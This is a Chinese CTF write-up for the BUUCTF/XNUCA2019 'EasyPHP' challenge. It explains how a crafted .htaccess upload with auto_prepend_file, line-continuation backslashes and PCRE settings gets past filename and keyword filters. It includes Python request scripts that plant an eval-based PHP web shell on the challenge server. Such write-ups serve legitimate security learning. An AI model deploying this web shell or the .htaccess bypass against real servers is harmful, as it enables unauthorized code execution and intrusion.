您的位置:首页 > 编程语言 > PHP开发

BUUCTF:[XNUCA2019Qualifier]EasyPHP -- 关于.htaccess 的各种配置操作,

2021-04-16 00:10 2001 查看

目录:

  • 三、学习WP:
  • 2. 预期解2:
  • 参考的文章,看最下面的那两篇就是了
    总体:
    这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,如此巧妙的方法之下,是大佬们细心找到的bug点,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力

    一、自己做:

    做个毛,做,这个题是我能做出来的???
    没有个数,看WP去,,

    这个 正则,文件名开头不能是 字母开头,又不能是数字,那就只能够是

    .
    了啊,再看一下黑名单???防止马的黑名单是这个吗??

    没见过的黑名单,那就是上传

    .htaccess
    了啊,

    二、学到的&&不足:

    1. python 上传.htaccess时的\问题

    注意在用python传入的时候,这个用一个

    \
    ,是不行的,在python中的
    \
    和Linux中的一样也是 连接两行的意思,
    我们这里需要两个
    \\
    ,这样转义一下,才行

    这样才行一个
    %5c
    ,一个
    %0A
    ,就对了,

    2. 关于.htaccess解析错误时

    .htaccess
    文件解析出现问题时,网站会爆出 500 的错误码,然后我们怎么知道是那里错了呢?
    可以查看apache的错误日志
    /var/log/apache2/arror.log
    就能够看到哪里的错误了,

    3. python 上传 .htaccess时,注释符# 的问题!在字符串中进行传输# 也会当作注释符!!

    这个注释符

    #
    恰巧也是
    python
    的注释符,~!!!
    这了如果不将
    #
    先一步进行url编码的话,就会当作python的注释符,然后后面的内容就不会输入到
    .htaccess
    中去了,尽管是在 一个字符串中!!!!

    如果是

    #
    的话,效果就是这样,后面的直接没有了,

    #
    编码一下,不让python当作它的注释符就好了,又因为是get传输,那么正好就url编码一下上传,如下:

    import requests
    
    content='''php_value auto_prepend_fi\\
    le ".htaccess"
    %23<?php eval($_GET[a]);?>\\'''
    
    url
    1e5f2
    = "http://host/?filename=.htaccess&content={}".format(content)
    res = requests.get(url=url)
    print(res.url)
    print(res.text)

    这个注释符

    #
    恰巧也是
    python
    的注释符,~!!!

    这个时正确的时候,但是我还是有点小疑问,,这个我用

    \
    连接起来了,不是不是,应该是 转移掉了
    \n
    了把,但是我本地这里,明显没有转义成功啊,

    但是还是正确执行了,我的马,那么就是 这个反斜杠并没有当作转移符号,来转义那个

    \n
    。而是到了
    .htaccess
    中连接起来了两行,这样尽管 另其一行了,但是 连接上了,就也算到了 上一行的注释中去了,

    上面的那个理论我验证一下就好了
    如下:

    运行一个PHP文件,没有爆500,也就是说

    .htaccess·
    ,没有问题,那么我们上述的猜想就是正确的了,

    三、学习WP:

    1. 非预期:

    就是我上面分析的这个,

    payload上面说了,这里就不说了

    import requests
    # %23 是# 的url编码,防止python把自己注释了
    #\\ , 两个\\上传上去就是 一个 \
    
    content='''php_value auto_prepend_fi\\
    le ".htaccess"
    %23<?php eval($_POST[cmd]);?>\\'''
    
    url = "http://70683073-ad5d-4edc-ae61-5da1f665cb76.node3.buuoj.cn/?filename=.htaccess&content={}".format(content)
    res = requests.get(url=url)
    print(res.url)
    print(res.text)

    2. 预期解2:

    总体:
    这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力

    这点我没有注意到

    这个正则函数是

    preg_match()
    ,P神讲过这个的回调次数的绕过,
    我自己也稍微整理过:关于prreg_match()的绕过 ----- %0a ------ 数组 --------preg的回调次数

    然后设置pcre的一些选项可以导致文件名判断失效,从而直接 prepend flag.php

    回溯超过100000这么多次就能够绕过了,然后我们直接设置就好了

    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0

    设置上面的这个我懂,但是下面这个为什么设置我就不知道了

    啊,这个,,,其实也就是去掉了 那个正则背,,,其实那个正则也就是过滤了

    file
    背,,,那也没啥了啊,,,

    这没有成功,,,,出错误,总是报hacker,也就是说并没有绕过正则,,,吐了。。

    3. 预期解:

    这个预期解,就是跟着思路来做的,给了我们

    .htaccess
    文件,我们能够往里写什么,能够包含到
    fl3g.php
    ,然后利用这个PHP文件获得flag。这个才是顺着出题人的思路来的。
    那么我就看看
    .htaccess
    能够干一些什么事情。

    最后的 垃圾数据会导致

    .htaccess
    解析错误,从而页面爆出500,这个可以用
    #
    进行注释,但是他又有一个换行符
    \n
    ,那我们就用
    \
    进行连接行与行,就连接上了,就也是注释了,

    php_value auto_prepend_file fl3g.php
    ?,不行的,有正则,过滤
    file
    这个可以绕过,

    经测试,最后一行导致的

    .htaccess
    报错的问题可以通过# 来解决。

    该文件中有一处

    include('fl3g,php')
    ,该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么
    .htaacess
    的选项可以利用?

    翻一下php的 官方文档php.ini配置选项列表,查找所有可修改范围为

    PHP_INI_ALL
    PHP_INI_PERDIR
    的配置项,我们可以注意到这样一个选项
    include_path
    .

    具体操作看这个吧:
    https://www.anquanke.com/post/id/185377#h3-6
    https://www.cnblogs.com/ophxc/p/13192775.html

    编码操作可用iconv,看我的 Linux的博客。

  • 内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
    标签: